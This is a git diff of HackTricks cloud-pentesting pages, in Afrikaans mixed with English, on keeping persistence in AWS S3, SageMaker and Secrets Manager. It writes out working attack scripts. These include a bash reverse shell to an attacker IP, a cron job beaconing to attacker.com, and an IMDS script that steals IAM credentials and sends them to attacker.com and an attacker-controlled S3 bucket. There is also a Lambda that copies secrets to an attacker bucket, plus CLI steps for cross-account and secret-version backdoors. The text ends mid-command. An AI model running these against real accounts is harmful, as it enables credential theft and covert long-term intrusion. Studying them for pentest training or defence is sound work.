- -Daarom kan 'n aanvaller hierdie sleutel uit die metadata verkry en dit met KMS ontsleutel (`aws kms decrypt`) om die sleutel te verkry wat gebruik is om die inligting te enkripteer. Op hierdie manier sal die aanvaller die enkripsiesleutel hê en as daardie sleutel hergebruik word om ander lêers te enkripteer, sal hy dit kan gebruik. - -### Gebruik van S3 ACLs - -Alhoewel ACLs van emmers gewoonlik gedeaktiveer is, kan 'n aanvaller met genoeg regte dit misbruik (as dit geaktiveer is of as die aanvaller dit kan aktiveer) om toegang tot die S3-emmer te behou. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md new file mode 100644 index 000000000..2f1c2e46c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md @@ -0,0 +1,25 @@ +# AWS - S3 Persistensie + +{{#include ../../../../banners/hacktricks-training.md}} + +## S3 + +Vir meer inligting, sien: + +{{#ref}} +../../aws-services/aws-s3-athena-and-glacier-enum.md +{{#endref}} + +### KMS Client-Side Encryption + +Wanneer die enkripsieproses klaar is, sal die gebruiker die KMS API gebruik om 'n nuwe sleutel te genereer (`aws kms generate-data-key`) en hy sal die gegenereerde enkripsiesleutel **in die metadata** van die lêer stoor ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) sodat dit by dekripsie weer met KMS gedekripteer kan word: + +
+ +Daardeur kan 'n aanvaller hierdie sleutel uit die metadata kry en dit met KMS dekodeer (`aws kms decrypt`) om die sleutel te bekom wat gebruik is om die inligting te enkripteer. Op hierdie manier sal die aanvaller die enkripsiesleutel hê, en as daardie sleutel hergebruik word om ander lêers te enkripteer, sal hy dit ook vir daardie lêers kan gebruik. + +### Gebruik van S3 ACLs + +Alhoewel ACLs van buckets gewoonlik gedeaktiveer is, kan 'n aanvaller met genoegsame bevoegdhede dit misbruik (indien geaktiveer of as die aanvaller dit kan aktiveer) om toegang tot die S3 bucket te behou. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md deleted file mode 100644 index c865adb2a..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md +++ /dev/null @@ -1,158 +0,0 @@ -# Aws Sagemaker Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Oorsig van Volhardingstegnieke - -Hierdie afdeling skets metodes om volharding in SageMaker te verkry deur gebruik te maak van Levensiklus Konfigurasies (LCCs), insluitend omgekeerde shelle, cron take, geloofsbriefdiefstal via IMDS, en SSH agterdeure. Hierdie skripte loop met die instance se IAM rol en kan oor herlaaiings volhard. Meeste tegnieke vereis uitgaande netwerktoegang, maar die gebruik van dienste op die AWS kontrolevlak kan steeds sukses toelaat as die omgewing in 'VPC-slegs' modus is. -#### Nota: SageMaker-notebookinstansies is in wese bestuurde EC2-instanies wat spesifiek vir masjienleer werklas geconfigureer is. - -## Vereiste Toestemmings -* Notebook Instansies: -``` -sagemaker:CreateNotebookInstanceLifecycleConfig -sagemaker:UpdateNotebookInstanceLifecycleConfig -sagemaker:CreateNotebookInstance -sagemaker:UpdateNotebookInstance -``` -* Studio Toepassings: -``` -sagemaker:CreateStudioLifecycleConfig -sagemaker:UpdateStudioLifecycleConfig -sagemaker:UpdateUserProfile -sagemaker:UpdateSpace -sagemaker:UpdateDomain -``` -## Stel Levensikluskonfigurasie op Notaboekinstansies in - -### Voorbeeld AWS CLI Opdragte: -```bash -# Create Lifecycle Configuration* - -aws sagemaker create-notebook-instance-lifecycle-config \ ---notebook-instance-lifecycle-config-name attacker-lcc \ ---on-start Content=$(base64 -w0 reverse_shell.sh) - - -# Attach Lifecycle Configuration to Notebook Instance* - -aws sagemaker update-notebook-instance \ ---notebook-instance-name victim-instance \ ---lifecycle-config-name attacker-lcc -``` -## Stel Levensiklus Konfigurasie in op SageMaker Studio - -Levensiklus Konfigurasies kan op verskillende vlakke en aan verskillende app tipes binne SageMaker Studio geheg word. - -### Studio Domein Vlak (Alle Gebruikers) -```bash -# Create Studio Lifecycle Configuration* - -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-studio-lcc \ ---studio-lifecycle-config-app-type JupyterServer \ ---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) - - -# Apply LCC to entire Studio Domain* - -aws sagemaker update-domain --domain-id --default-user-settings '{ -"JupyterServerAppSettings": { -"DefaultResourceSpec": {"LifecycleConfigArn": ""} -} -}' -``` -### Studio Ruimtevlak (Individuele of Gedeelde Ruimtes) -```bash -# Update SageMaker Studio Space to attach LCC* - -aws sagemaker update-space --domain-id --space-name --space-settings '{ -"JupyterServerAppSettings": { -"DefaultResourceSpec": {"LifecycleConfigArn": ""} -} -}' -``` -## Tipes van Studio Toepassing Levensiklus Konfigurasies - -Levensiklus konfigurasies kan spesifiek toegepas word op verskillende SageMaker Studio toepassingstipes: -* JupyterServer: Voer skripte uit tydens Jupyter bediener opstart, ideaal vir volhardingsmeganismes soos omgekeerde skale en cron take. -* KernelGateway: Voer uit tydens kern poorttoepassing bekendstelling, nuttig vir aanvanklike opstelling of volhoubare toegang. -* CodeEditor: Toegepas op die Kode Redigeerder (Code-OSS), wat skripte moontlik maak wat tydens die begin van kode redigeersessies uitgevoer word. - -### Voorbeeld Opdrag vir Elke Tipe: - -### JupyterServer -```bash -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-jupyter-lcc \ ---studio-lifecycle-config-app-type JupyterServer \ ---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) -``` -### KernelGateway -```bash -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-kernelgateway-lcc \ ---studio-lifecycle-config-app-type KernelGateway \ ---studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh) -``` -### CodeEditor -```bash -aws sagemaker create-studio-lifecycle-config \ ---studio-lifecycle-config-name attacker-codeeditor-lcc \ ---studio-lifecycle-config-app-type CodeEditor \ ---studio-lifecycle-config-content $(base64 -w0 editor_persist.sh) -``` -### Kritieke Inligting: -* Die aanhegting van LCCs op die domein- of ruimtevlak beïnvloed alle gebruikers of toepassings binne die omvang. -* Vereis hoër toestemmings (sagemaker:UpdateDomain, sagemaker:UpdateSpace) wat tipies meer haalbaar is op ruimtevlak as op domeinvlak. -* Netwerkvlakbeheer (bv. streng uitgangsfiltrering) kan suksesvolle omgekeerde skale of data-uitvloeiing voorkom. - -## Omgekeerde Skaal via Levensiklus Konfigurasie - -SageMaker Levensiklus Konfigurasies (LCCs) voer pasgemaakte skripte uit wanneer notaboekinstansies begin. 'n Aanvaller met toestemmings kan 'n volgehoue omgekeerde skaal tot stand bring. - -### Payload Voorbeeld: -``` -#!/bin/bash -ATTACKER_IP="" -ATTACKER_PORT="" -nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 & -``` -## Cron Job Persistensie deur Levensiklus Konfigurasie - -'n Aanvaller kan cron take deur LCC-skripte inspuit, wat periodieke uitvoering van kwaadwillige skripte of opdragte verseker, wat stil persistensie moontlik maak. - -### Payload Voorbeeld: -``` -#!/bin/bash -PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py" -CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH" -CRON_JOB="*/30 * * * * $CRON_CMD" - -mkdir -p /home/ec2-user/SageMaker/.local_tasks -echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH -chmod +x $PAYLOAD_PATH - -(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user - -``` -## Kredensiaal Uitsifting via IMDS (v1 & v2) - -Levensiklus konfigurasies kan die Instansie Metadata Diens (IMDS) ondervra om IAM kredensiale te verkry en dit na 'n aanvaller-beheerde ligging uit te sift. - -### Payload Voorbeeld: -```bash -#!/bin/bash -ATTACKER_BUCKET="s3://attacker-controlled-bucket" -TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") -ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) -curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json - -# Exfiltrate via S3* - -aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json - -# Alternatively, exfiltrate via HTTP POST* - -curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md new file mode 100644 index 000000000..495e0d749 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md @@ -0,0 +1,230 @@ +# AWS - SageMaker Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Oorsig van Persistence Techniques + +This section outlines methods for gaining persistence in SageMaker by abusing Lifecycle Configurations (LCCs), including reverse shells, cron jobs, credential theft via IMDS, and SSH backdoors. Hierdie afdeling beskryf metodes om persistence in SageMaker te verkry deur Lifecycle Configurations (LCCs) te misbruik, insluitend reverse shells, cron jobs, credential theft via IMDS en SSH backdoors. Hierdie skripte hardloop met die instance’s IAM role en kan ná 'n herstart voortbestaan. Die meeste tegnieke vereis outbound network access, maar die gebruik van services op die AWS control plane kan steeds sukses toelaat as die omgewing in 'VPC-only" mode is. + +> [!TIP] +> Nota: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads. + +## Vereiste Toestemmings +* Notebook Instances: +``` +sagemaker:CreateNotebookInstanceLifecycleConfig +sagemaker:UpdateNotebookInstanceLifecycleConfig +sagemaker:CreateNotebookInstance +sagemaker:UpdateNotebookInstance +``` +* Studio toepassings: +``` +sagemaker:CreateStudioLifecycleConfig +sagemaker:UpdateStudioLifecycleConfig +sagemaker:UpdateUserProfile +sagemaker:UpdateSpace +sagemaker:UpdateDomain +``` +## Stel Lifecycle Configuration op Notebook Instances + +### Voorbeeld AWS CLI-opdragte: +```bash +# Create Lifecycle Configuration* + +aws sagemaker create-notebook-instance-lifecycle-config \ +--notebook-instance-lifecycle-config-name attacker-lcc \ +--on-start Content=$(base64 -w0 reverse_shell.sh) + + +# Attach Lifecycle Configuration to Notebook Instance* + +aws sagemaker update-notebook-instance \ +--notebook-instance-name victim-instance \ +--lifecycle-config-name attacker-lcc +``` +## Stel Lifecycle Configuration in SageMaker Studio + +Lifecycle Configurations kan op verskeie vlakke en aan verskillende app-tipes binne SageMaker Studio aangeheg word. + +### Studio-domeinvlak (alle gebruikers) +```bash +# Create Studio Lifecycle Configuration* + +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-studio-lcc \ +--studio-lifecycle-config-app-type JupyterServer \ +--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) + + +# Apply LCC to entire Studio Domain* + +aws sagemaker update-domain --domain-id --default-user-settings '{ +"JupyterServerAppSettings": { +"DefaultResourceSpec": {"LifecycleConfigArn": ""} +} +}' +``` +### Studio Space-vlak (Individueel of Gedeelde Spaces) +```bash +# Update SageMaker Studio Space to attach LCC* + +aws sagemaker update-space --domain-id --space-name --space-settings '{ +"JupyterServerAppSettings": { +"DefaultResourceSpec": {"LifecycleConfigArn": ""} +} +}' +``` +## Soorte van Studio Application Lifecycle Configurations + +Lifecycle-konfigurasies kan spesifiek toegepas word op verskillende SageMaker Studio toepassingstipes: +* JupyterServer: Voer skripte tydens Jupyter-server-opstart uit, ideaal vir meganismes vir persistente toegang soos reverse shells en cron jobs. +* KernelGateway: Voer uit tydens die opstart van die kernel gateway-app, nuttig vir aanvanklike opstelling of persistente toegang. +* CodeEditor: Geld vir die Code Editor (Code-OSS), en maak skripte moontlik wat uitgevoer word by die begin van code editing-sessies. + +### Voorbeeldopdrag vir elke tipe: + +### JupyterServer +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-jupyter-lcc \ +--studio-lifecycle-config-app-type JupyterServer \ +--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) +``` +### KernelGateway +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-kernelgateway-lcc \ +--studio-lifecycle-config-app-type KernelGateway \ +--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh) +``` +### Kode-redigeerder +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-codeeditor-lcc \ +--studio-lifecycle-config-app-type CodeEditor \ +--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh) +``` +### Kritieke Inligting: +* Die aanheg van LCCs op domain- of space-vlak beïnvloed alle gebruikers of toepassings binne die omvang. +* Vereis hoër regte (sagemaker:UpdateDomain, sagemaker:UpdateSpace); gewoonlik meer uitvoerbaar op space as op domain-vlak. +* Netwerkvlak-kontroles (bv. streng egress-filtering) kan suksesvolle reverse shells of data exfiltration voorkom. + +## Reverse Shell via Lifecycle Configuration + +SageMaker Lifecycle Configurations (LCCs) voer pasgemaakte skripte uit wanneer notebook instances begin. 'n Aanvaller met die nodige regte kan 'n volhoubare reverse shell opstel. + +### Payload Example: +``` +#!/bin/bash +ATTACKER_IP="" +ATTACKER_PORT="" +nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 & +``` +## Cron Job Persistence via Lifecycle Configuration + +'n aanvaller kan cron jobs deur LCC scripts insluit, wat die periodieke uitvoering van kwaadaardige scripts of commands verseker en sluipende persistence moontlik maak. + +### Payload Example: +``` +#!/bin/bash +PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py" +CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH" +CRON_JOB="*/30 * * * * $CRON_CMD" + +mkdir -p /home/ec2-user/SageMaker/.local_tasks +echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH +chmod +x $PAYLOAD_PATH + +(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user - +``` +## Credential Exfiltration via IMDS (v1 & v2) + +Lifecycle configurations kan by die Instance Metadata Service (IMDS) navraag doen om IAM credentials op te haal en dit na 'n attacker-controlled location te exfiltrate. + +### Payload Example: +```bash +#!/bin/bash +ATTACKER_BUCKET="s3://attacker-controlled-bucket" +TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") +ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json + +# Exfiltrate via S3* + +aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json + +# Alternatively, exfiltrate via HTTP POST* + +curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload +``` +## Persistensie via Model Registry resource policy (PutModelPackageGroupPolicy) + +Misbruik die hulpbron-gebaseerde beleid op 'n SageMaker Model Package Group om aan 'n eksterne principal kruis-rekening regte te verleen (bv., CreateModelPackage/Describe/List). Dit skep 'n duursaam agterdeur wat toelaat om vergiftigde modelweergawes op te laai of modelmetadata/artefakte te lees, selfs as die aanvaller se IAM-gebruiker/rol in die slagofferrekening verwyder word. + +Benodigde toestemmings +- sagemaker:CreateModelPackageGroup +- sagemaker:PutModelPackageGroupPolicy +- sagemaker:GetModelPackageGroupPolicy + +Stappe (us-east-1) +```bash +# 1) Create a Model Package Group +REGION=${REGION:-us-east-1} +MPG=atk-mpg-$(date +%s) +aws sagemaker create-model-package-group \ +--region "$REGION" \ +--model-package-group-name "$MPG" \ +--model-package-group-description "Test backdoor" + +# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account) +cat > /tmp/mpg-policy.json <:model-package-group/${MPG}", +"arn:aws:sagemaker:${REGION}::model-package/${MPG}/*" +] +} +] +} +JSON + +# 3) Attach the policy to the group +aws sagemaker put-model-package-group-policy \ +--region "$REGION" \ +--model-package-group-name "$MPG" \ +--resource-policy "$(jq -c . /tmp/mpg-policy.json)" + +# 4) Retrieve the policy (evidence) +aws sagemaker get-model-package-group-policy \ +--region "$REGION" \ +--model-package-group-name "$MPG" \ +--query ResourcePolicy --output text +``` +Aantekeninge +- For a real cross-account backdoor, scope Resource to the specific group ARN and use the attacker’s AWS account ID in Principal. +- For end-to-end cross-account deployment or artifact reads, align S3/ECR/KMS grants with the attacker account. + +Impak +- Volhoubare cross-account beheer van 'n Model Registry group: attacker kan kwaadwillige modelweergawes publiseer of model-metadata enumereer/lees selfs nadat hul IAM entities in die victim account verwyder is. + +## Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings) + +Misbruik SageMaker Canvas user settings om model registry skrywes stilweg na 'n attacker-controlled account om te lei deur ModelRegisterSettings te aktiveer en CrossAccountModelRegisterRoleArn na 'n attacker role in 'n ander account te wys. + +Benodigde permissies +- sagemaker:UpdateUserProfile op die teiken UserProfile +- Opsioneel: sagemaker:CreateUserProfile op 'n Domain wat jy beheer + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md deleted file mode 100644 index 681954ae3..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ /dev/null @@ -1,51 +0,0 @@ -# AWS - Secrets Manager Persistensie - -{{#include ../../../banners/hacktricks-training.md}} - -## Secrets Manager - -Vir meer inligting, kyk: - -{{#ref}} -../aws-services/aws-secrets-manager-enum.md -{{#endref}} - -### Deur Hulpbronne Beleid - -Dit is moontlik om **toegang tot geheime te verleen aan eksterne rekeninge** deur hulpbronne beleid. Kyk na die [**Secrets Manager Privesc bladsy**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) vir meer inligting. Let daarop dat om **toegang tot 'n geheim' te hê, die eksterne rekening ook **toegang tot die KMS-sleutel wat die geheim enkripteer** sal benodig. - -### Deur Secrets Rotate Lambda - -Om **geheime** outomaties te **roteer**, word 'n geconfigureerde **Lambda** aangeroep. As 'n aanvaller die **kode** kon **verander**, kon hy direk die **nuwe geheim** na homself **uitvoer**. - -Dit is hoe lambda kode vir so 'n aksie kan lyk: -```python -import boto3 - -def rotate_secrets(event, context): -# Create a Secrets Manager client -client = boto3.client('secretsmanager') - -# Retrieve the current secret value -secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] - -# Rotate the secret by updating its value -new_secret_value = rotate_secret(secret_value) -client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) - -def rotate_secret(secret_value): -# Perform the rotation logic here, e.g., generate a new password - -# Example: Generate a new password -new_secret_value = generate_password() - -return new_secret_value - -def generate_password(): -# Example: Generate a random password using the secrets module -import secrets -import string -password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) -return password -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md new file mode 100644 index 000000000..168ccb7e9 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md @@ -0,0 +1,234 @@ +# AWS - Secrets Manager Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Secrets Manager + +Vir meer inligting sien: + +{{#ref}} +../../aws-services/aws-secrets-manager-enum.md +{{#endref}} + +### Via Resource Policies + +Dit is moontlik om via Resource Policies **toegang tot secrets aan eksterne rekeninge toe te ken**. Kyk na die [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) vir meer inligting. Let daarop dat om **toegang tot 'n secret te kry**, die eksterne rekening ook **toegang tot die KMS key wat die secret enkripteer** nodig sal hê. + +### Via Secrets Rotate Lambda + +Om **rotate secrets** outomaties te laat gebeur, word 'n gekonfigureerde **Lambda** aangeroep. As 'n aanvaller die **code** kon **change**, kon hy die nuwe secret direk **exfiltrate** na homself. + +So kan lambda code vir so 'n aksie lyk: +```python +import boto3 + +def rotate_secrets(event, context): +# Create a Secrets Manager client +client = boto3.client('secretsmanager') + +# Retrieve the current secret value +secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] + +# Rotate the secret by updating its value +new_secret_value = rotate_secret(secret_value) +client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) + +def rotate_secret(secret_value): +# Perform the rotation logic here, e.g., generate a new password + +# Example: Generate a new password +new_secret_value = generate_password() + +return new_secret_value + +def generate_password(): +# Example: Generate a random password using the secrets module +import secrets +import string +password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) +return password +``` +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### Wissel die rotation Lambda na 'n aanvaller-beheerde funksie via RotateSecret + +Misbruik `secretsmanager:RotateSecret` om 'n secret te herbind aan 'n aanvaller-beheerde rotation Lambda en 'n onmiddellike rotasie te veroorsaak. Die kwaadwillige funksie exfiltrates die secret versions (AWSCURRENT/AWSPENDING) gedurende die rotation-stappe (createSecret/setSecret/testSecret/finishSecret) na 'n attacker sink (bv., S3 of external HTTP). + +- Vereistes +- Permissies: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` op die aanvaller-Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (of AttachRolePolicy) om die Lambda-uitvoeringsrol te voorsien met `secretsmanager:GetSecretValue` en verkieslik `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (sodat rotasie aanhou werk), KMS `kms:Decrypt` vir die secret KMS-sleutel, en `s3:PutObject` (of outbound egress) vir exfiltration. +- 'n teiken secret id (`SecretId`) met rotasie geaktiveer of die vermoë om rotasie te aktiveer. + +- Impak +- Die aanvaller verkry die secret value(s) sonder om die legitieme rotasie-kode te wysig. Slegs die rotasie-konfigurasie word verander om na die aanvaller-Lambda te wys. As dit nie opgemerk word nie, sal geskeduleerde toekomstige rotasies voortgaan om die aanvaller se funksie aan te roep. + +- Aanvalstappe (CLI) +1) Voorberei aanvaller sink en Lambda-rol +- Skep 'n S3 bucket vir exfiltration en 'n uitvoeringsrol wat deur Lambda vertrou word met permissies om die secret te lees en na S3 te skryf (plus logs/KMS soos benodig). +2) Deplooi 'n aanvaller-Lambda wat by elke rotasie-stap die secret value(s) haal en na S3 skryf. Minimale rotasie-logika kan net AWSCURRENT na AWSPENDING kopieer en dit in finishSecret bevorder om die diens gesond te hou. +3) Herbind rotasie en trigger +- `aws secretsmanager rotate-secret --secret-id --rotation-lambda-arn --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately` +4) Verifieer exfiltration deur die S3 prefix vir daardie secret te lys en die JSON artefakte te inspekteer. +5) (Opsioneel) Herstel die oorspronklike rotation Lambda om opsporing te verminder. + +- Example attacker Lambda (Python) exfiltrating to S3 +- Environment: `EXFIL_BUCKET=` +- Handler: `lambda_function.lambda_handler` +```python +import boto3, json, os, base64, datetime +s3 = boto3.client('s3') +sm = boto3.client('secretsmanager') +BUCKET = os.environ['EXFIL_BUCKET'] + +def write_s3(key, data): +s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json') + +def lambda_handler(event, context): +sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step'] +# Exfil both stages best-effort +def getv(**kw): +try: +r = sm.get_secret_value(**kw) +return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')} +except Exception as e: +return {'error': str(e)} +current = getv(SecretId=sid, VersionStage='AWSCURRENT') +pending = getv(SecretId=sid, VersionStage='AWSPENDING') +key = f"{sid.replace(':','_')}/{step}/{token}.json" +write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending}) +# Minimal rotation (optional): copy current->pending and promote in finishSecret +# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage) +``` +### Version Stage Hijacking vir skuilende volhoubare toegang (custom stage + fast AWSCURRENT flip) + +Misbruik Secrets Manager version staging labels om 'n deur die aanvaller beheerde secret version te plant en dit versteek te hou onder 'n custom stage (byvoorbeeld, `ATTACKER`) terwyl produksie voortgaan om die oorspronklike `AWSCURRENT` te gebruik. Enige tyd kan jy `AWSCURRENT` na die aanvaller se weergawe skuif om afhanklike workloads te vergiftig, en dit dan herstel om opsporing te minimaliseer. Dit bied skuilende backdoor persistence en vinnige time-of-use-manipulasie sonder om die secret name of rotation config te verander. + +- Vereistes +- Permissions: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (for verification) +- Teiken secret id in die Regio. + +- Impak +- Handhaaf 'n versteekte, deur die aanvaller beheerde weergawe van 'n geheim en skuif atomies `AWSCURRENT` na dié weergawe op aanvraag, wat enige verbruiker wat dieselfde geheimnaam oplos, beïnvloed. Die omskakeling en vinnige herstel verminder die kans op ontdekking terwyl dit tydsgebonde kompromittering moontlik maak. + +- Aanvalstappe (CLI) +- Voorbereiding +- `export SECRET_ID=` + +
+CLI-opdragte +```bash +# 1) Capture current production version id (the one holding AWSCURRENT) +CUR=$(aws secretsmanager list-secret-version-ids \ +--secret-id "$SECRET_ID" \ +--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \ +--output text) + +# 2) Create attacker version with known value (this will temporarily move AWSCURRENT) +BACKTOK=$(uuidgen) +aws secretsmanager put-secret-value \ +--secret-id "$SECRET_ID" \ +--client-request-token "$BACKTOK" \ +--secret-string {backdoor:hunter2!} + +# 3) Restore production and hide attacker version under custom stage +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage AWSCURRENT \ +--move-to-version-id "$CUR" \ +--remove-from-version-id "$BACKTOK" + +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage ATTACKER \ +--move-to-version-id "$BACKTOK" + +# Verify stages +aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated + +# 4) On-demand flip to the attacker’s value and revert quickly +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage AWSCURRENT \ +--move-to-version-id "$BACKTOK" \ +--remove-from-version-id "$CUR" + +# Validate served plaintext now equals the attacker payload +aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text + +# Revert to reduce detection +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage AWSCURRENT \ +--move-to-version-id "$CUR" \ +--remove-from-version-id "$BACKTOK" +``` +
+ +- Aantekeninge +- Wanneer jy `--client-request-token` verskaf, gebruik Secrets Manager dit as die `VersionId`. As 'n nuwe weergawe bygevoeg word sonder om `--version-stages` uitdruklik te stel, skuif `AWSCURRENT` standaard na die nuwe weergawe en word die vorige een as `AWSPREVIOUS` gemerk. + + +### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy) + +Misbruik Secrets Manager multi-Region replication om 'n replica van 'n teiken-secret in 'n minder-gemonitorde Region te skep, enkripteer dit met 'n attacker-controlled KMS key in daardie Region, bevorder dan die replica na 'n standalone secret en heg 'n permissive resource policy aan wat die attacker lees toegang gee. Die oorspronklike secret in die primêre Region bly onaangeraak, wat 'n volhoubare, stil toegang tot die secret-waarde deur die bevorderde replica bied terwyl KMS-/policy-beperkings op die primêre omseil word. + +- Vereistes +- Permissies: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`. +- In die replica Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (of `kms:PutKeyPolicy`) om die attacker principal `kms:Decrypt` toe te laat. +- 'n attacker principal (user/role) om lees toegang tot die bevorderde secret te ontvang. + +- Impak +- Volhoubare cross-Region-toegangspad na die secret-waarde via 'n standalone replica onder 'n attacker-controlled KMS CMK en 'n permissive resource policy. Die primêre secret in die oorspronklike Region bly onaangeraak. + +- Attack (CLI) +- Vars +```bash +export R1= # e.g., us-east-1 +export R2= # e.g., us-west-2 +export SECRET_ID= +export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) +export ATTACKER_ARN=:user/ or role> +``` +1) Skep attacker-controlled KMS key in replica Region +```bash +cat > /tmp/kms_policy.json <<'JSON' +{"Version":"2012-10-17","Statement":[ +{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"} +]} +JSON +KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \ +--query KeyMetadata.KeyId --output text) +aws 